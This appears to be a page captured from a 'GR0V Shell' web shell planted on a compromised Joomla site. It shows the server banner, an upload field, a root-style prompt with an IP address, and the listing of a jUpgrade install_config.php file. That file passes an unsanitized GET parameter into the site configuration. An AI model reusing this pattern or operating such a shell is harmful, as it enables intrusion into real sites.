? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/board/administrator/components/com_jupgrade/includes/
File Upload :
Current File : /home/admin/public_html/old/board/administrator/components/com_jupgrade/includes/install_config.php

<?php
/**
 * jUpgrade
 *
 * @version		$Id$
 * @package		MatWare
 * @subpackage	com_jupgrade
 * @copyright	Copyright 2006 - 2011 Matias Aguire. All rights reserved.
 * @license		GNU General Public License version 2 or later.
 * @author		Matias Aguirre <maguirre@matware.com.ar>
 * @link		http://www.matware.com.ar
 */

define('_JEXEC', 1);
define('JPATH_BASE', dirname(__FILE__));
define('DS', DIRECTORY_SEPARATOR);

require_once JPATH_BASE.'/defines.php';
if (file_exists(JPATH_LIBRARIES.'/joomla/import.php')) {
	require_once JPATH_LIBRARIES.'/joomla/import.php';
}else if (file_exists(JPATH_LIBRARIES.'/import.php')) {
	require_once JPATH_LIBRARIES.'/import.php';
}
if (file_exists(JPATH_LIBRARIES.'/cms/model/legacy.php')) {
	require_once JPATH_LIBRARIES.'/cms/model/legacy.php';
}
require_once JPATH_LIBRARIES.'/joomla/methods.php';
require_once JPATH_LIBRARIES.'/joomla/factory.php';
require_once JPATH_LIBRARIES.'/joomla/error/error.php';
require_once JPATH_LIBRARIES.'/joomla/base/object.php';
if (file_exists(JPATH_LIBRARIES.'/joomla/utilities/arrayhelper.php')) {
	require_once JPATH_LIBRARIES.'/joomla/utilities/arrayhelper.php';
}
if (file_exists(JPATH_LIBRARIES.'/joomla/log/log.php')) {
	require_once JPATH_LIBRARIES.'/joomla/log/log.php';
}

require_once JPATH_INSTALLATION.'/models/configuration.php';

require JPATH_ROOT.'/configuration.php';

$jconfig = new JConfig();
$jconfig->db_type   = 'mysqli';
$jconfig->db_host	= $jconfig->host;
$jconfig->db_user	= $jconfig->user;
$jconfig->db_pass	= $jconfig->password;
$jconfig->db_name	= $jconfig->db;

$prefix_new = $_GET['prefix_new'];

$jconfig->db_prefix	= $prefix_new;
$jconfig->site_name	= $jconfig->sitename;

$jconfig->admin_email	= $jconfig->mailfrom;
$jconfig->site_metadesc	= $jconfig->MetaDesc;
$jconfig->site_metakeys	= $jconfig->MetaKeys;
$jconfig->site_offline  = $jconfig->offline;

$jconfig->ftp_enable  = 0;
$jconfig->ftp_save  = 0;

// Run the configuration creation
if (JInstallationModelConfiguration::_createConfiguration($jconfig) > 0) {
	echo 1;
}else {
	echo 0;
}

T1KUS90T
  root-grov@210.1.60.28:~$